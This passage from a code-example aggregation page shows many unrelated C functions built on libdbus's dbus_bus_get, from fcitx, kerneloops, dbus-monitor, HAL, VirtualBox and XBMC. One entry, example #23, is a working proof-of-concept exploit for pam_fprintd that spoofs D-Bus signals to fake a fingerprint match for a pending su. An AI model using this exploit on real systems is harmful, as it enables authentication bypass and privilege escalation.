            message = dbus_message_new_method_call(servicename, FCITX_IM_DBUS_PATH, FCITX_IM_DBUS_INTERFACE, #MESSAGENAME); \
            break;

    asprintf(&servicename, "%s-%d", FCITX_DBUS_SERVICE, fcitx_utils_get_display_number());
    switch(messageType) {
        CASE(ACTIVATE, ActivateIM);
        CASE(INACTIVATE, InactivateIM);
        CASE(RELOAD_CONFIG, ReloadConfig);
        CASE(EXIT, Exit);
        CASE(TOGGLE, ToggleIM);
        CASE(GET_CURRENT_STATE, GetCurrentState);
        CASE(GET_IM_ADDON, GetIMAddon);

    default:
        goto some_error;
    };
    if (!message) {
        goto some_error;
    }
    address = _fcitx_get_address();
    do {
        if (!address)
            break;
        conn = dbus_connection_open(address, NULL);
        if (!conn)
            break;
        if (!dbus_bus_register(conn, NULL)) {
            dbus_connection_unref(conn);
            conn = NULL;
            break;
        }
    } while(0);

    if (!conn) {
        conn = dbus_bus_get(DBUS_BUS_SESSION, NULL);

        if (!conn) {
            goto some_error;
        }

        dbus_connection_set_exit_on_disconnect(conn, FALSE);
    }

    if (messageType == FCITX_DBUS_GET_CURRENT_STATE) {
        DBusMessage* reply = dbus_connection_send_with_reply_and_block(conn, message, 1000, NULL);
        int result = 0;
        if (reply && dbus_message_get_args(reply, NULL, DBUS_TYPE_INT32, &result, DBUS_TYPE_INVALID)) {
            printf("%d\n", result);
            ret = 0;
        } else {
            fprintf(stderr, "Not get reply\n");
        }
    }
    else if (messageType == FCITX_DBUS_GET_IM_ADDON) {
        do {
            if (!fcitx_utf8_check_string(imname))
                break;
            dbus_message_append_args(message, DBUS_TYPE_STRING, &imname, DBUS_TYPE_INVALID);
            DBusMessage* reply = dbus_connection_send_with_reply_and_block(conn, message, 1000, NULL);
            char *result = NULL;
            if (reply && dbus_message_get_args(reply, NULL, DBUS_TYPE_STRING, &result, DBUS_TYPE_INVALID)) {
                printf("%s\n", result);
                ret = 0;
            } else {
                fprintf(stderr, "Not get reply\n");
            }
        } while(0);
    } else {
        dbus_connection_send(conn, message, NULL);
        dbus_connection_flush(conn);
        ret = 0;
    }

some_error:
    if (message)
        dbus_message_unref(message);
    if (conn)
        dbus_connection_unref(conn);
    fcitx_utils_free(address);
    fcitx_utils_free(servicename);
    fcitx_utils_free(imname);
    return ret;
}
示例#17
0
int main(int argc, char *argv[])
{
	DBusError error;

	/* Initialize translation stuff */
	setlocale(LC_ALL, "");
	bindtextdomain("kerneloops", "/usr/share/locale");
	textdomain("kerneloops");


	gtk_init(&argc, &argv);

	/* read the config file early; we may be able to bug out of stuff */
	read_config();

	/*
	 * initialize the dbus connection; we want to listen to the system
	 * bus (which is where all daemons send their messages
	 */

	dbus_error_init(&error);
	bus = dbus_bus_get(DBUS_BUS_SYSTEM, &error);
	if (bus == NULL) {
		g_printerr(_("Connecting to system bus failed: %s\n"),
							error.message);
		dbus_error_free(&error);
		exit(EXIT_FAILURE);
	}

	/* hook dbus into the main loop */
	dbus_connection_setup_with_g_main(bus, NULL);

	statusicon = gtk_status_icon_new_from_file("/usr/share/kerneloops/icon.png");

	gtk_status_icon_set_tooltip(statusicon, _("kerneloops client"));

	notify_init("kerneloops-ui");

	/* by default, don't show our icon */
	gtk_status_icon_set_visible(statusicon, FALSE);

	/* set the dbus message to listen for */
	dbus_bus_add_match(bus, "type='signal',interface='org.kerneloops.submit.permission'", &error);
	dbus_bus_add_match(bus, "type='signal',interface='org.kerneloops.submit.sent'", &error);
	dbus_bus_add_match(bus, "type='signal',interface='org.kerneloops.submit.url'", &error);
	dbus_connection_add_filter(bus, dbus_gotmessage, NULL, NULL);

	/*
	 * if the user said always/never in the config file, let the daemon
	 * know right away
	 */
	if (user_preference < 0)
		send_permission("never");
	if (user_preference > 0)
		send_permission("always");

	/* send a ping to the userspace daemon to see if it has pending oopses */
	trigger_daemon();


	gtk_main();

	close_notification();

	return 0;
}
示例#18
0
int main(int argc, char**argv)
{
	GMainLoop *loop;
	DBusError error;
	int godaemon = 1;

/*
 * Signal the kernel that we're not timing critical
 */
#ifdef PR_SET_TIMERSLACK
	prctl(PR_SET_TIMERSLACK,1000*1000*1000, 0, 0, 0);
#endif

	read_config_file("/etc/kerneloops.conf");

	if (argc > 1 && strstr(argv[1], "--nodaemon"))
		godaemon = 0;
	if (argc > 1 && strstr(argv[1], "--debug")) {
		printf("Starting kerneloops in debug mode\n");
		godaemon = 0;
		testmode = 1;
		opted_in = 2;
	}

	if (!opted_in && !testmode) {
		fprintf(stderr, " [Inactive by user preference]");
		return EXIT_SUCCESS;
	}

	/*
	 * the curl docs say that we "should" call curl_global_init early,
	 * even though it'll be called later on via curl_easy_init().
	 * We ignore this advice, since 99.99% of the time this program
	 * will not use http at all, but the curl code does consume
	 * memory.
	 */

/*
	curl_global_init(CURL_GLOBAL_ALL);
*/

	if (godaemon && daemon(0, 0)) {
		printf("kerneloops failed to daemonize.. exiting \n");
		return EXIT_FAILURE;
	}
	sched_yield();

	loop = g_main_loop_new(NULL, FALSE);
	dbus_error_init(&error);
	bus = dbus_bus_get(DBUS_BUS_SYSTEM, &error);
	if (bus) {
		dbus_connection_setup_with_g_main(bus, NULL);
		dbus_bus_add_match(bus, "type='signal',interface='org.kerneloops.submit.ping'", &error);
		dbus_bus_add_match(bus, "type='signal',interface='org.kerneloops.submit.permission'", &error);
		dbus_connection_add_filter(bus, got_message, NULL, NULL);
	}

	/* we scan dmesg before /var/log/messages; dmesg is a more accurate source normally */
	scan_dmesg(NULL);
	/* during boot... don't go too fast and slow the system down */
	if (!testmode)
		sleep(10);
	scan_filename(log_file, 1);

	if (argc > 2 && strstr(argv[1], "--file"))
		scan_filename(argv[2], 1);

	if (testmode && argc > 2) {
		int q;
		for (q = 2; q < argc; q++) {
			printf("Scanning %s\n", argv[q]);
			scan_filename(argv[q], 0);
		}
	}

	if (testmode) {
		g_main_loop_unref(loop);
		dbus_bus_remove_match(bus, "type='signal',interface='org.kerneloops.submit.ping'", &error);
		dbus_bus_remove_match(bus, "type='signal',interface='org.kerneloops.submit.permission'", &error);
		free(submit_url);
		return EXIT_SUCCESS;
	}

	/* now, start polling for oopses to occur */

	g_timeout_add_seconds(10, scan_dmesg, NULL);

	g_main_loop_run(loop);
	dbus_bus_remove_match(bus, "type='signal',interface='org.kerneloops.submit.ping'", &error);
	dbus_bus_remove_match(bus, "type='signal',interface='org.kerneloops.submit.permission'", &error);

	g_main_loop_unref(loop);
	free(submit_url);

	return EXIT_SUCCESS;
}
示例#19
0
int main(int argc, char **argv)
{
	DBusConnection *conn;
	DBusMessage *msg;
	DBusMessageIter args;
	DBusPendingCall* pending;
	DBusError err;
	dbus_uint32_t serial = 0; // unique number to associate replies with requests
	int current_type;
	char *buf, *retek;
	int val, type;
	dbus_uint32_t level;

   	int ret;
   	dbus_error_init(&err);

	// connect to the bus
	conn = dbus_bus_get(DBUS_BUS_SESSION, &err);
	if (dbus_error_is_set(&err)) { 
		fprintf(stderr, " [+] Connection Error (%s)\n", err.message); 
		dbus_error_free(&err); 
	}
	if (NULL == conn) { 
		return 1;
	}

	// create a signal and check for errors 
	msg = dbus_message_new_method_call("org.freedesktop.im", // target for the method call
			"/dupa/dupa", // object to call on
			"org.freedesktop.im", // interface to call on
			"getProtocols"); // method name
	if (NULL == msg) 
	{ 
		fprintf(stderr, "Message Null\n"); 
		return 1;
	} 

	// append arguments onto signal
//	dbus_message_iter_init_append(msg, &args);

	/*
	buf = strdup("super tajne dane!");
	if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &buf)) { 
		fprintf(stderr, "Out Of Memory!\n"); 
		return 1;
	}
	free(buf);

	val = 666;
	if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_INT32, &val)) { 
		fprintf(stderr, "Out Of Memory!\n"); 
		return 1;
	}*/

   // send message and get a handle for a reply
   if (!dbus_connection_send_with_reply (conn, msg, &pending, -1)) { // -1 is default timeout
      fprintf(stderr, "Out Of Memory!\n"); 
      return (1);
   }
   if (NULL == pending) { 
      fprintf(stderr, "Pending Call Null\n"); 
      return (1); 
   }
   dbus_connection_flush(conn);
   
   printf("Request Sent\n");
   
   // free message
   dbus_message_unref(msg);
   
   // block until we recieve a reply
   dbus_pending_call_block(pending);

   // get the reply message
   msg = dbus_pending_call_steal_reply(pending);
   if (NULL == msg) {
      fprintf(stderr, "Reply Null\n"); 
      return (1); 
   }
   // free the pending message handle
   dbus_pending_call_unref(pending);

   dbus_message_iter_init (msg, &args);
   while ((type = dbus_message_iter_get_arg_type(&args)) != DBUS_TYPE_INVALID)
   {
      if (DBUS_TYPE_STRING == type)
      {
         dbus_message_iter_get_basic(&args, &retek);
	 fprintf(stderr, "blink: %s\n", retek);
      }
       dbus_message_iter_next (&args);
   }
	
   // free reply and close connection
   dbus_message_unref(msg);   
   dbus_connection_close(conn);
   /*
	// send the message and flush the connection
	if (!dbus_connection_send(conn, msg, &serial)) { 
		fprintf(stderr, "Out Of Memory!\n"); 
		return 1;
	}
	dbus_connection_flush(conn);
	
	// free the message 
	dbus_message_unref(msg);
	dbus_connection_close(conn);*/
	return 0;
}
int main(int argc, char **argv)
{

    DBusMessage *l_msg;
    DBusConnection *l_conn;
    DBusError l_err;
    int l_ret;

    printf("Listening for method calls!%s","\n");

    // initialise the error
    dbus_error_init(&l_err);

    // connect to the bus and check for errors
    l_conn = dbus_bus_get(DBUS_BUS_SYSTEM, &l_err);
    if (dbus_error_is_set(&l_err)) {
        printf("Connection Error (%s)\n",l_err.message);
        dbus_error_free(&l_err);
    }
    if (NULL == l_conn) {
        printf("Connection Null!\n");
        exit(1);
    }

    // request our name on the bus and check for errors
    l_ret = dbus_bus_request_name(l_conn,
                                  "org.GENIVI.std_intf_test",
                                  DBUS_NAME_FLAG_REPLACE_EXISTING,
                                  &l_err);
    if (dbus_error_is_set(&l_err)) {
        printf("Name Error (%s)\n",l_err.message);
        dbus_error_free(&l_err);
    }
    if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != l_ret) {
        printf("Not Primary Owner (%d)\n", l_ret);
        exit(1);
    }


    // infinite loop, testing for new messages
    while (1) {
        dbus_connection_read_write(l_conn, 0);
        // non blocking read of the next available message
        l_msg = dbus_connection_pop_message(l_conn);

        // loop again if we haven't got a message
        if (NULL == l_msg) {
            sleep(1);
            continue;
        }

        // Exposing standard interface and methods
        if (dbus_message_is_method_call(l_msg,
                                        "org.freedesktop.DBus.Introspectable",
                                        "Introspect")) {
            ReplyToIntrospect(l_msg, l_conn);
        }
        else if (dbus_message_is_method_call(l_msg,
                                        "org.freedesktop.DBus.Peer",
                                        "Ping")) {
            if (gReplyToPing < 3){
                gReplyToPing ++;
                ReplyToPing(l_msg, l_conn);
            }else{
                syslog(LOG_INFO,"[_DBUS_PING_TIMEOUT_] Closing app %s with pid %d...\n", argv[0], getpid());
                          }
        }
        else {
            printf ("Unknown method called\n");
        }

        // free the message
        dbus_message_unref(l_msg);


    }
    dbus_connection_flush(l_conn);
    return 0;
}
示例#21
0
int
main (int argc, char *argv[])
{
  DBusConnection *connection;
  DBusError error;
  DBusBusType type = DBUS_BUS_SESSION;
  DBusHandleMessageFunction filter_func = monitor_filter_func;

  int i = 0, j = 0, numFilters = 0;
  char **filters = NULL;
  for (i = 1; i < argc; i++)
    {
      char *arg = argv[i];

      if (!strcmp (arg, "--system"))
	type = DBUS_BUS_SYSTEM;
      else if (!strcmp (arg, "--session"))
	type = DBUS_BUS_SESSION;
      else if (!strcmp (arg, "--help"))
	usage (argv[0], 0);
      else if (!strcmp (arg, "--monitor"))
	filter_func = monitor_filter_func;
      else if (!strcmp (arg, "--profile"))
	filter_func = profile_filter_func;
      else if (!strcmp (arg, "--"))
	continue;
      else if (arg[0] == '-')
	usage (argv[0], 1);
      else {
	numFilters++;
       filters = (char **)realloc(filters, numFilters * sizeof(char *));
	filters[j] = (char *)malloc((strlen(arg) + 1) * sizeof(char *));
	snprintf(filters[j], strlen(arg) + 1, "%s", arg);
	j++;
      }
    }

  dbus_error_init (&error);
  connection = dbus_bus_get (type, &error);
  if (connection == NULL)
    {
      fprintf (stderr, "Failed to open connection to %s message bus: %s\n",
	       (type == DBUS_BUS_SYSTEM) ? "system" : "session",
               error.message);
      dbus_error_free (&error);
      exit (1);
    }

  if (numFilters)
    {
      for (i = 0; i < j; i++)
        {
          dbus_bus_add_match (connection, filters[i], &error);
          if (dbus_error_is_set (&error))
            {
              fprintf (stderr, "Failed to setup match \"%s\": %s\n",
                       filters[i], error.message);
              dbus_error_free (&error);
              exit (1);
            }
	  free(filters[i]);
        }
    }
  else
    {
      dbus_bus_add_match (connection,
		          "type='signal'",
		          &error);
      if (dbus_error_is_set (&error))
        goto lose;
      dbus_bus_add_match (connection,
		          "type='method_call'",
		          &error);
      if (dbus_error_is_set (&error))
        goto lose;
      dbus_bus_add_match (connection,
		          "type='method_return'",
		          &error);
      if (dbus_error_is_set (&error))
        goto lose;
      dbus_bus_add_match (connection,
		          "type='error'",
		          &error);
      if (dbus_error_is_set (&error))
        goto lose;
    }

  if (!dbus_connection_add_filter (connection, filter_func, NULL, NULL)) {
    fprintf (stderr, "Couldn't add filter!\n");
    exit (1);
  }

  /* we handle SIGINT so exit() is reached and flushes stdout */
  signal (SIGINT, sigint_handler);
  while (dbus_connection_read_write_dispatch(connection, -1)
          && !sigint_received)
    ;
  exit (0);
 lose:
  fprintf (stderr, "Error: %s\n", error.message);
  exit (1);
}
示例#22
0
文件: bat_detect.c 项目: alhazred/ddu
int
main(int argc, char **argv)
{
	DBusError error;
	DBusConnection *conn;
	LibHalContext *hal_ctx;
	int err;
	int	c;
	int	all = 0;
	int	list = 0;
	int	dev = 0;
	char 	*dev_name;

	if (argc < 2) {
		return (0);
	}

	while ((c = getopt(argc, argv, "ald:")) != EOF) {
		switch (c) {
		case 'a':
			all = 1;
			break;
		case 'l':
			list = 1;
			break;
		case 'd':
			dev = 1;
			dev_name = optarg;
			break;
		default:
			exit(1);
		}
	}

	dbus_error_init(&error);

	if (!(conn = dbus_bus_get(DBUS_BUS_SYSTEM, &error))) {
		fprintf(stderr, "error: dbus_bus_get: %s: %s\n",
			error.name, error.message);
		LIBHAL_FREE_DBUS_ERROR(&error);
		return (2);
	}

	if (!(hal_ctx = libhal_ctx_new())) {
		return (3);
	}

	if (!libhal_ctx_set_dbus_connection(hal_ctx, conn)) {
		return (4);
	}

	if (!libhal_ctx_init(hal_ctx, &error)) {
		if (dbus_error_is_set(&error)) {
			fprintf(stderr, "error: libhal_ctx_init: %s: %s\n",
				error.name, error.message);
			LIBHAL_FREE_DBUS_ERROR(&error);
		}
		fprintf(stderr, "Could not initialise connection to hald.\n"
"Normally this means the HAL daemon (hald) is not running or not ready.\n");
		return (5);
	}

	err = 0;

	if (list) {
		err = list_battery_devices(hal_ctx);
	}

	if (all) {
		err = dump_all_devices(hal_ctx);
	}

	if (dev) {
		err = dump_device(hal_ctx, dev_name);
	}

	libhal_ctx_shutdown(hal_ctx, &error);
	libhal_ctx_free(hal_ctx);
	dbus_connection_unref(conn);
	dbus_error_free(&error);

	return (err);
}
示例#23
0
int main(int argc, char **argv)
{
	DBusError err;
	DBusConnection *conn = NULL;
	DBusMessage *vrfy_msg = NULL, *noc_msg = NULL, *nl_msg = NULL, *reply = NULL;
	dbus_uint32_t serial = 0;
	dbus_bool_t t = 1;
	int un = 0, i = 0, reply_to = -1;
	const char *vrfy_match = "verify-match", *cname = NULL,
	           *name = "net.reactivated.Fprint", *prev_owner = NULL;
	char dest[32];

	/* override unique name of net.reactivated.Fprint */
	if (argc > 1)
		prev_owner = strdup(argv[1]);

	printf("\n[**] darklena, pam_fprintd PoC exploit 2013\n\n");

	printf("[*] Initializing DBUS ...\n");
	dbus_error_init(&err);
	conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);

	if (dbus_error_is_set(&err)) {
		fprintf(stderr, "Error: %s\n", err.message);
		die("dbus_error_is_set");
	}

	if ((cname = dbus_bus_get_unique_name(conn)) == NULL)
		die("dbus_bus_get_unique_name");

	un = atoi(strchr(cname, '.') + 1);

	printf("[+] Done. Found my unique name: %s (%d)\n", cname, un);

	if (!prev_owner) {
		printf("[*] Trying to find unique name of '%s' ...\n", name);
		nl_msg = dbus_message_new_method_call("org.freedesktop.DBus",
	        	                              "/org/freedesktop/DBus",
  	                	                      "org.freedesktop.DBus",
	                        	              "GetNameOwner");

		if (!dbus_message_append_args(nl_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_INVALID))
			die("[-] dbus_message_append_args");

		reply = dbus_connection_send_with_reply_and_block(conn, nl_msg, reply_to, &err);
		dbus_message_unref(nl_msg);

		if (dbus_error_is_set(&err)) {
			fprintf (stderr, "[-] Error: %s\n", err.message);
			die("[-] dbus_connection_send_with_reply_and_block");
		}

		if (!dbus_message_get_args(reply, &err,
		                           DBUS_TYPE_STRING, &prev_owner, DBUS_TYPE_INVALID)) {
			fprintf(stderr, "[-] Error: %s\n", err.message);
			die("[-] dbus_message_get_args");
		}

		dbus_message_unref(reply);
	}

	printf("[+] Found unique name of '%s' as '%s'\n", name, prev_owner);

	for (i = 1; i < 20; ++i) {
		/* spoof a NameOwnerChanged signal */
		noc_msg = dbus_message_new_signal("/org/freedesktop/DBus",
		                                  "org.freedesktop.DBus",
	        	                          "NameOwnerChanged");

		/* spoof a VerifyStatus */
		vrfy_msg = dbus_message_new_signal("/net/reactivated/Fprint/Device/0",
        	                                   "net.reactivated.Fprint.Device",
                	                           "VerifyStatus");

		if (!vrfy_msg || !noc_msg)
			die("[-] dbus_message_new_signal");

		if (!dbus_message_append_args(noc_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_STRING,
		                              &prev_owner, DBUS_TYPE_STRING, &cname, DBUS_TYPE_INVALID))
			die("[-] dbus_message_append_args1");

		if (!dbus_message_append_args(vrfy_msg, DBUS_TYPE_STRING, &vrfy_match,
        		                      DBUS_TYPE_BOOLEAN, &t, DBUS_TYPE_INVALID))
			die("[-] dbus_message_append_args2");

		/* iterate over unique names short below under our own
		 * to hit the previously started su
		 */
		snprintf(dest, sizeof(dest), ":1.%d", un - i);
		printf("[*] Using new destination: %s\n", dest);

		if (!dbus_message_set_destination(vrfy_msg, dest))
			die("[-] dbus_message_set_destination");

		if (!dbus_message_set_destination(noc_msg, dest))
			die("[-] dbus_message_set_destination");

		if (!dbus_connection_send(conn, noc_msg, &serial))
			die("[-] dbus_connection_send");

		dbus_connection_flush(conn);
		usleep(1000);

		if (!dbus_connection_send(conn, vrfy_msg, &serial))
			die("[-] dbus_connection_send");

		dbus_connection_flush(conn);

		dbus_message_unref(vrfy_msg);
		dbus_message_unref(noc_msg);
	}

	printf("\n[**] Here comes the pain! (but no one's to too innocent to die)\n");
	return 0;
}
示例#24
0
int
main (int argc, char *argv[])
{
  DBusConnection *conn[NUM_CONN];
  DBusConnection *monitor;
  DBusError error;
  int i;
  int test_data_len;

  test_data_len = sizeof (test_data) / sizeof (CommandAndResult);
  
  dbus_error_init (&error);

  conn[0] = dbus_bus_get_private (DBUS_BUS_SESSION, &error);
  if (dbus_error_is_set (&error))
    {
      fprintf (stderr, "*** Failed to open connection 0 to session bus: %s\n",
               error.message);
      dbus_error_free (&error);
      return 1;
    }
  
  if (!match_acquired_or_lost_signal (conn[0],
                                "NameAcquired",
                                dbus_bus_get_unique_name (conn[0])))
    return 1;
  
  conn[1] = dbus_bus_get_private (DBUS_BUS_SESSION, &error);
  if (dbus_error_is_set (&error))
    {
      fprintf (stderr, "*** Failed to open connection 1 to session bus: %s\n",
               error.message);
      dbus_error_free (&error);
      return 1;
    }

  if (!match_acquired_or_lost_signal (conn[1],
                                "NameAcquired",
                                dbus_bus_get_unique_name (conn[1])))
    return 1;


  conn[2] = dbus_bus_get_private (DBUS_BUS_SESSION, &error);
  if (dbus_error_is_set (&error))
    {
      fprintf (stderr, "*** Failed to open connection 2 to session bus: %s\n",
               error.message);
      dbus_error_free (&error);
      return 1;
    }

  if (!match_acquired_or_lost_signal (conn[2],
                                "NameAcquired",
                                dbus_bus_get_unique_name (conn[2])))
    return 1;


  conn[3] = dbus_bus_get_private (DBUS_BUS_SESSION, &error);
  if (dbus_error_is_set (&error))
    {
      fprintf (stderr, "*** Failed to open connection 3 to session bus: %s\n",
               error.message);
      dbus_error_free (&error);
      return 1;
    }

  if (!match_acquired_or_lost_signal (conn[3],
                                "NameAcquired",
                                dbus_bus_get_unique_name (conn[3])))
    return 1;


  monitor = dbus_bus_get (DBUS_BUS_SESSION, &error);
  if (dbus_error_is_set (&error))
    {
      fprintf (stderr, "*** Failed to open monitoring connection to session bus: %s\n",
               error.message);
      dbus_error_free (&error);
      return 1;
    }

  if (!match_acquired_or_lost_signal (monitor,
                                "NameAcquired",
                                dbus_bus_get_unique_name (monitor)))
    return 1;

  dbus_bus_add_match (monitor, "", &error);
  if (dbus_error_is_set (&error))
    {
      fprintf (stderr, "*** Failed to set filter on monitoring connection: %s\n",
               error.message);
      dbus_error_free (&error);
      return 1;
    }


  for (i = 0; i < NUM_CONN; i++) 
    dbus_connection_set_exit_on_disconnect (conn[i], FALSE);

  for (i = 0; i < test_data_len; i++)
    {
      dbus_uint32_t result;
      result = 0;

      if (test_data[i].command == ADD_CONNECTION)
        {
          result = dbus_bus_request_name (conn[test_data[i].connection_number], 
                                          TEST_NAME, 
                                          test_data[i].flags,
                                          &error);

          if (dbus_error_is_set (&error))
            {
              fprintf (stderr, "Error on addition in iteration %i: %s\n", i, error.message);
              dbus_error_free (&error);
              return 1;
            }
        } 
      else if (test_data[i].command == REMOVE_CONNECTION)
        {
          result = dbus_bus_release_name (conn[test_data[i].connection_number], 
                                          TEST_NAME, 
                                          &error);  
          if (dbus_error_is_set (&error))
            {
              fprintf (stderr, "*** Failed to remove connection %i in iteration %i: %s\n",
                       test_data[i].connection_number,
                       i,
                       error.message);
              dbus_error_free (&error);
              return 1;
            }
        }
      else
        {
          fprintf (stderr, "Command #%i not a valid command!\n", test_data[i].command);
          return 1;
        }


      if (result != test_data[i].expected_result)
        {
          fprintf (stderr, "Results recived (%i) are not the expected results (%i) in iteration %i\n",
                   result,
                   test_data[i].expected_result,
                   i);
          return 1;
        }

      if (!check_connection (monitor, i, conn))
        {
          fprintf (stderr, "Failed at iteration %i\n", i);
          return 1;
        }

      if (!check_signals (monitor, i, conn))
        {
          fprintf (stderr, "Failed at iteration %i\n", i);
          return 1;
        }
    }

    return 0;
}
示例#25
0
static int showNotify(const char *pcHeader, const char *pcBody)
{
    int rc;
# ifdef VBOX_WITH_DBUS
    DBusConnection *conn;
    DBusMessage* msg = NULL;
    conn = dbus_bus_get (DBUS_BUS_SESSION, NULL);
    if (conn == NULL)
    {
        LogRelFlowFunc(("Could not retrieve D-BUS session bus!\n"));
        rc = VERR_INVALID_HANDLE;
    }
    else
    {
        msg = dbus_message_new_method_call("org.freedesktop.Notifications",
                                           "/org/freedesktop/Notifications",
                                           "org.freedesktop.Notifications",
                                           "Notify");
        if (msg == NULL)
        {
            LogRel(("Could not create D-BUS message!\n"));
            rc = VERR_INVALID_HANDLE;
        }
        else
            rc = VINF_SUCCESS;
    }
    if (RT_SUCCESS(rc))
    {
        uint32_t msg_replace_id = 0;
        const char *msg_app = "VBoxClient";
        const char *msg_icon = "";
        const char *msg_summary = pcHeader;
        const char *msg_body = pcBody;
        int32_t msg_timeout = -1;           /* Let the notification server decide */

        DBusMessageIter iter;
        DBusMessageIter array;
        DBusMessageIter dict;
        DBusMessageIter value;
        DBusMessageIter variant;
        DBusMessageIter data;

        /* Format: UINT32 org.freedesktop.Notifications.Notify
         *         (STRING app_name, UINT32 replaces_id, STRING app_icon, STRING summary, STRING body,
         *          ARRAY actions, DICT hints, INT32 expire_timeout)
         */
        dbus_message_iter_init_append(msg,&iter);
        dbus_message_iter_append_basic(&iter,DBUS_TYPE_STRING,&msg_app);
        dbus_message_iter_append_basic(&iter,DBUS_TYPE_UINT32,&msg_replace_id);
        dbus_message_iter_append_basic(&iter,DBUS_TYPE_STRING,&msg_icon);
        dbus_message_iter_append_basic(&iter,DBUS_TYPE_STRING,&msg_summary);
        dbus_message_iter_append_basic(&iter,DBUS_TYPE_STRING,&msg_body);
        dbus_message_iter_open_container(&iter,DBUS_TYPE_ARRAY,DBUS_TYPE_STRING_AS_STRING,&array);
        dbus_message_iter_close_container(&iter,&array);
        dbus_message_iter_open_container(&iter,DBUS_TYPE_ARRAY,"{sv}",&array);
        dbus_message_iter_close_container(&iter,&array);
        dbus_message_iter_append_basic(&iter,DBUS_TYPE_INT32,&msg_timeout);

        DBusError err;
        dbus_error_init(&err);

        DBusMessage *reply;
        reply = dbus_connection_send_with_reply_and_block(conn, msg,
            30 * 1000 /* 30 seconds timeout */, &err);
        if (dbus_error_is_set(&err))
        {
            LogRel(("D-BUS returned an error while sending the notification: %s", err.message));
        }
        else if (reply)
        {
            dbus_connection_flush(conn);
            dbus_message_unref(reply);
        }
        if (dbus_error_is_set(&err))
            dbus_error_free(&err);
    }
    if (msg != NULL)
        dbus_message_unref(msg);
# else
    /* TODO: Implement me */
    rc = VINF_SUCCESS;
# endif /* VBOX_WITH_DBUS */
    return rc;
}
示例#26
0
bool CHALManager::Mount(CStorageDevice *volume, CStdString mountpath)
{
  CLog::Log(LOGNOTICE, "HAL: Mounting %s (%s) at %s with umask=%u", volume->UDI.c_str(), volume->toString().c_str(), mountpath.c_str(), umask (0));
  DBusMessage* msg;
  DBusMessageIter args;
  DBusError error;
  dbus_error_init (&error);
  DBusConnection *connection = dbus_bus_get (DBUS_BUS_SYSTEM, &error);
  const char *s;
  if (connection)
  {
    msg = dbus_message_new_method_call("org.freedesktop.Hal", volume->UDI.c_str(), "org.freedesktop.Hal.Device.Volume", "Mount");
    dbus_message_iter_init_append(msg, &args);
    s = mountpath.c_str();
    if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &s))
      CLog::Log(LOGERROR, "DBus: Failed to append arguments");
    s = ""; //FileSystem
    if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &s))
      CLog::Log(LOGERROR, "DBus: Failed to append arguments");
    DBusMessageIter sub;
    dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, DBUS_TYPE_STRING_AS_STRING, &sub);

    CStdString temporaryString;

    if (volume->FileSystem.Equals("vfat"))
    {
      int mask = umask (0);
      temporaryString.Format("umask=%#o", mask);
      s = temporaryString.c_str();
      dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &s);
      temporaryString.Format("uid=%u", getuid());
      s = temporaryString.c_str();
      dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &s);
      s = "shortname=mixed";
      dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &s);
      s = "utf8";
      dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &s);
      // 'sync' option will slow down transfer speed significantly for FAT filesystems. We prefer 'flush' instead.
      s = "flush";
      dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &s);
    }
    else
    {
      s = "sync";
      dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &s);
    }

    dbus_message_iter_close_container(&args, &sub);

    if (msg == NULL)
        CLog::Log(LOGERROR, "DBus: Create Mount Message failed");
    else
    {
      DBusMessage *reply;
      reply = dbus_connection_send_with_reply_and_block(connection, msg, -1, &error); //The reply timout might be bad to have as -1
      if (dbus_error_is_set(&error))
      {
        CLog::Log(LOGERROR, "DBus: %s - %s", error.name, error.message);
        dbus_error_free(&error);
        return false;
      }
      // Need to create a reader for the Message
      dbus_message_unref (reply);
      dbus_message_unref(msg);
      msg = NULL;
    }

    volume->Mounted = true;
    volume->MountedByXBMC = true;
    volume->MountPoint = mountpath;
    dbus_connection_unref(connection);
    connection = NULL;
    return true;
  }
  else
  {
    CLog::Log(LOGERROR, "DBus: Failed to connect to Systembus");
    dbus_error_free(&error);
    return false;
  }
}
示例#27
0
int main(int argc, char *argv[])
{
	DBusConnection *conn;
	DBusError error;
	DBusMessage *msg;
	DBusMessageIter iter, dict;
	char **envp, *busname, *reason, *interface, *path;

	busname = getenv("CONNMAN_BUSNAME");
	interface = getenv("CONNMAN_INTERFACE");
	path = getenv("CONNMAN_PATH");

	reason = getenv("reason");

	if (!busname || !interface || !path || !reason) {
		fprintf(stderr, "Required environment variables not set\n");
		return 1;
	}

	if (strcmp(reason, "pre-init") == 0)
		return 0;

	dbus_error_init(&error);

	conn = dbus_bus_get(DBUS_BUS_SYSTEM, &error);
	if (conn == NULL) {
		if (dbus_error_is_set(&error) == TRUE) {
			fprintf(stderr, "%s\n", error.message);
			dbus_error_free(&error);
		} else
			fprintf(stderr, "Failed to get on system bus\n");
		return 0;
	}

	msg = dbus_message_new_method_call(busname, path,
						interface, "notify");
	if (msg == NULL) {
		dbus_connection_unref(conn);
		fprintf(stderr, "Failed to allocate method call\n");
		return 0;
	}

	dbus_message_set_no_reply(msg, TRUE);

	dbus_message_append_args(msg,
				 DBUS_TYPE_STRING, &reason,
				 DBUS_TYPE_INVALID);

	dbus_message_iter_init_append(msg, &iter);

	dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
			DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING
			DBUS_TYPE_STRING_AS_STRING DBUS_TYPE_STRING_AS_STRING
			DBUS_DICT_ENTRY_END_CHAR_AS_STRING, &dict);

	for (envp = environ; envp && *envp; envp++)
		append(&dict, *envp);

	dbus_message_iter_close_container(&iter, &dict);

	if (dbus_connection_send(conn, msg, NULL) == FALSE)
		fprintf(stderr, "Failed to send message\n");

	dbus_connection_flush(conn);

	dbus_message_unref(msg);

	dbus_connection_unref(conn);

	return 0;
}
示例#28
0
void broadcast_and_wait_response(char* server_name) {
